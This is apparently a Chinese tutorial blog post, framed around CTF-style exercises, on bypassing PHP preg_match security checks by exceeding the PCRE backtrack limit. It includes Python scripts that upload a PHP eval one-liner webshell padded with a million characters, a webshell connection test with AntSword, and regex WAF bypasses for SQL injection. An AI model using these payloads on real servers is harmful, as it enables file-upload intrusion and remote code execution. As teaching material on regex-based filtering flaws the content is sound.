PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

这篇具有很好参考价值的文章主要介绍了PHP利用PCRE回溯次数限制绕过某些安全限制实战案例。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

NFA(非确定性有限状态自动机)

二、回溯的过程

三、 PHP 的 pcre.backtrack_limit 限制利用

例题一

回溯绕过步骤 :

1、运行结果: 可见无法匹配

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

总结:

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟:

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试


一、正则表达式概述

正则表达式是一个可以被 “有限状态自动机”接受的语言类。

有限状态自动机

        其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

        而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
 

NFA(非确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

回溯过程

         在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

        所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

        最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

        在调试正则表达式的时候,我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

回溯次数上限默认是 100 万

回溯次数超过了 100 万,返回的非 1 和 0,是 false。

preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF:

例一:
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

例二:
 

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

.+? 匹配到/

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*

S 匹配*失败,回溯,再由.+? 匹配*

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a

S 匹配 a 失败,回溯,再由.+? 匹配 a

...

 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

例题一

<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];

if(!areyouok($greeting)){
    // NULL != false
    // Null !== false
    // null !== false
    // strpos
    if(strpos($greeting,'Merry Christmas') !== false){   //字符查找,如果查找到返回字符的位置,没有就返回false
        echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

回溯绕过步骤 :

1、运行结果: 可见无法匹配

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

2、尝试匹配:依旧无法匹配

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

3、再次尝试:发现拿到匹配结果

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

原因:

此时greeting传递的是数组,元素是123,而 strpos验证的是字符串

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。

当只有一个 = bool(false),返回值为false,程序执行结束​​​

<?php
var_dump(NULL != false);
?>

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

当有两个 == 时,返回值为true,程序继续执行

<?php
var_dump(NULL !== false);
?>

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

知识点补充:

PHP中 比较 0、false、null,'' "

松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

0 == false: bool(true)
0 === false: bool(false)

0 == null: bool(true)
0 === null: bool(false)

false == null: bool(true)
false === null: bool(false)

"0" == false: bool(true)
"0" === false: bool(false)

"0" == null: bool(false)
"0" === null: bool(false)

"" == false: bool(true)
"" === false: bool(false)

"" == null: bool(true)
"" === null: bool(false)

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

总结:

1、绕过该正则

插入代码:

greeting[]=123;

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

 此时绕过第一个正则

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

接着会返回

  null !== false;

根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行

例题二

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}
?>
​
​

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post 

payload = {
    'greeting' : 'Merry Christmas' + 'a' * 1000001
}

url = 'http://127.0.0.1/xss_location/dem04.php'

res = post(url ,data=payload)

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成

回溯过程模拟:

正则回溯实例

例题三

文件上传漏洞

<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    //利用move_uploaded_file将临时文件,复制到$path
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
​
    header("Location: $path", true, 303); 
} 
?>

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

1、编写文件上传脚本

<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Xss-filter</title>
</head>
<body>
    <form action="./file_upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="">
        <input type="submit" value="submit">
    </form> 
</body>
</html>

2、上传任意一个文件

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

 PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

from requests import post 

files = {
    'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}

url = 'http://127.0.0.1/xss_location/demo6.php'

res = post(url ,files=files, allow_redirects=False)

print (res.headers)

查看并执行python代码是否成功

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

temp文件出现

此时,一句话木马已经写入

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

使用中国蚁剑进行连接测试

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例,网络渗透防御,php,开发语言,网络安全

 连接成功,此时已经绕过漏洞。文章来源地址https://www.toymoban.com/news/detail-649323.html

到了这里,关于PHP利用PCRE回溯次数限制绕过某些安全限制实战案例的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • win11出现安全中心空白和IT管理员已限制对某些区域的访问(不一样的解决方式),真实的个人经历,并且解决经过

    2023年12月22日,由于我买了一块电脑的固态硬盘1T,想要扩容,原来电脑自带512G(由于个人是一个程序员,导致512G实在太古鸡肋)装好以后,想要重装一下系统,来个大清理。结果不出意料,和广大水友预料的那样,出来一堆的问题,我解决的问题实在是坎坷(因为这个过程长

    2024年02月03日
    浏览(55)
  • 黑客可利用 Windows 容器隔离框架绕过端点安全系统

    新的研究结果表明,攻击者可以利用一种隐匿的恶意软件检测规避技术,并通过操纵 Windows 容器隔离框架来绕过端点安全的解决方案。 Deep Instinct安全研究员丹尼尔-阿维诺姆(Daniel Avinoam)在本月初举行的DEF CON安全大会上公布了这一发现。 Microsoft的容器体系结构(以及扩展的

    2024年02月09日
    浏览(40)
  • Angular安全专辑之三:授权绕过,利用漏洞控制管理员账户

    这篇文章是针对实际项目中所出现的问题所做的一个总结。简单来说,就是授权绕过问题,管理员帐户被错误的接管。 详细情况是这样的,我们的项目中通常都会有 用户身份验证功能 ,不同的用户拥有不同的权限。相对来说管理员账户所对应的权限是极高的,它可以修改当

    2024年02月11日
    浏览(34)
  • 第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

    1.TP框架-开发-配置架构路由MVC模型 参考:https://www.kancloud.cn/manual/thinkphp5_1 配置架构-导入使用 路由访问-URL访问 数据库操作-应用对象 文件上传操作-应用对象 前端页面渲染-MVC模型 1.TP框架-安全-不安全写法版本过滤绕过 1.内置代码写法 不合要求的代码写法-ThinkPHP5-自写 2.框架

    2024年04月25日
    浏览(61)
  • win11永久关闭实时保护(新的解决方法)/win11出现安全中心空白和IT管理员已限制对某些区域的访问(通过本地组策略器永久关闭Windows Defender实时保护)

    方法一:系统保护本地磁盘窗口中,点击【禁用系统保护】 Win11系统自带实时保护功能,但是有些小伙伴觉得这个功能影响了一些正常操作,有什么办法可以关闭Win11实时保护功能吗?下面小编就给大家分享一个永久关闭实时保护的方法。 纯净之家-win7纯净版系统_win7 ghost 纯

    2024年03月17日
    浏览(200)
  • nginx 限制访问某些url

    在Nginx中可以通过配置限制访问某些URL,以下是一些实现方法: 使用location指令进行限制 可以使用location指令在Nginx的配置文件中指定某个URL的访问权限,例如: 上述指令会禁止所有用户访问/restricted路径下的所有内容。 使用if指令进行限制 如果需要更复杂的限制条件,可以

    2024年02月12日
    浏览(38)
  • 使用cgroup工具对服务器某些/全部用户进行计算资源限制

    主要介绍,如何对指定/所有用户进行资源限定(这里主要介绍cpu和内存占用限制),防止某些用户大量占用服务器计算资源,影响和挤占他人正常使用服务器。 安装 cgroup 管理工具 使用 mount -t cgroup 命令检查验证 可以通过编写 /etc/cgconfig.conf 和 /etc/cgrules.conf 文件进行计算资

    2024年02月10日
    浏览(44)
  • New Bing相关设置与解除聊天次数限制

    最近ChatGPT相关的话题很多。之前使用了一下,感觉虽然功能很强大,但是ChatGPT只能查找2021年之前的信息,并且会编造一些虚假信息。例如让其给出一些信息的来源的时候,就会胡乱编造。 New Bing是ChatGPT的升级版,集成了ChatGPT,同时还支持实时网络查询,能够为用户提供更

    2023年04月14日
    浏览(49)
  • Java接口访问限制次数(使用IP作为唯一标识)

    1、获取用户IP工具类 2、接口限制注解(切面) (1)controller层 (2)注解类 (3)切面方法

    2024年02月13日
    浏览(34)
  • shiro的payload长度限制绕过

    yishiro反序列化漏洞常规利用点在数据包的header头中,在这里直接插入目标代码,生成的payload是很长的,肯定会超过中间件 header 长度限制,如何解决这个问题呢? 主要绕过的方式有以下几种: 1.从外部或从 HTTP 请求 body 中加载类字节码,header头中的payload仅仅实现读取和加载

    2024年02月16日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包